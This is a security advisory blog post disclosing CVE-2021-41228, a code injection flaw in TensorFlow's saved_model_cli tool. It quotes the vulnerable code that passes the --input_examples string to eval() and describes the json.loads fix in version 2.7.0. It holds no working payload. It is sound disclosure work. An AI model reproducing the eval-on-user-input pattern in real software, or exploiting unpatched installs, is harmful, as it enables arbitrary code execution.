TensorFlow Python Code Injection: More eval() Woes

TensorFlow Python code injection 863x300

Background

JFrog security research team (formerly Vdoo) has recently disclosed a code injection issue in one of the utilities shipped with TensorFlow, a popular Machine Learning platform that’s widely used in the industry. The issue has been assigned to CVE-2021-41228.

Read more about our previous, similar disclosure in Yamale in our previous blog post.

The injection issue

The issue lies in the saved_model_cli tool, which is used to save a model’s state.

An attacker that can control the contents of the --input_examples argument, can provide a malicious input that runs arbitrary Python code.

The underlying issue lies in the preprocess_input_examples_arg_string function:

def preprocess_input_examples_arg_string(input_examples_str):
    input_dict = preprocess_input_exprs_arg_string(input_examples_str)
        ...

which calls preprocess_input_exprs_arg_string, that contains the vulnerable call:

def preprocess_input_exprs_arg_string(input_exprs_str):
    input_dict = {}

  for input_raw in filter(bool, input_exprs_str.split(';')):
      ...
        input_key, expr = input_raw.split('=', 1)
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

In our case, input_exprs_str is the user’s input coming from the command line argument.

We can see that arbitrary input is flowing to eval, which leads to code injection.

Since the --input_examples option takes only a list of dictionaries, it is unexpected by the end-user (and undocumented by the vendor) that arbitrary input can lead to code injection.

TensorFlow’s fix

The issue was fixed in TensorFlow 2.7.0, we urge anyone using the saved_model_cli tool  to upgrade to this version.

Since the --input_examples option should only accept a list of dictionaries, the eval call was replaced with a call to json.loads, which accepts a list of dictionaries and is safe for use with arbitrary unfiltered input.

Can we exploit it remotely?

As mentioned in our previous blogpost , these issues might be remotely exploitable (in a reasonable scenario) in the context of a parameter injection attack. See our previous blogpost for more details.

Acknowledgements

We would like to thank TensorFlow’s maintainers, for validating and fixing the issue in a prompt manner and responsibly creating a CVE for the issue after the fixed version was available.